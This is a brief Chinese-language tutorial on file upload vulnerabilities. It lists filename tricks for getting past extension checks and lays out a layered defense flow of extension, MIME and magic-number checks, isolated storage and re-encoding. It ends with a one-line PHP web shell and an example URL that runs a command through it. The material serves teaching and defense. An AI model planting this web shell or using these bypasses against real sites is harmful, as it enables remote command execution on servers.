檔案上傳若沒有妥善管控,是黑客攻陷網站的常見入口。今天要帶大家從實戰面測試並理解防禦機制!
網站若允許使用者上傳檔案,卻缺少嚴格檢查,很可能被攻擊者利用上傳惡意腳本,從而執行任意指令,這即是典型的檔案上傳漏洞。
shell.php 改名為 shell.php.jpg 或 shell.php;.jpg。使用者上傳檔案 → 伺服器接收 →
├─ 檢查副檔名 → 允許/拒絕
├─ 驗證 MIME Type → 允許/拒絕
├─ 對檔案內容進行 Magic Number 檢查 → 允許/拒絕
↓
檔案先放在隔離目錄(非執行目錄)
→ 再進行重新編碼或轉碼
→ 上傳完成,供網站使用(非執行)目錄存取

<?php system($_GET['cmd']); ?>
http://example.com/uploads/shell.php?cmd=whoami
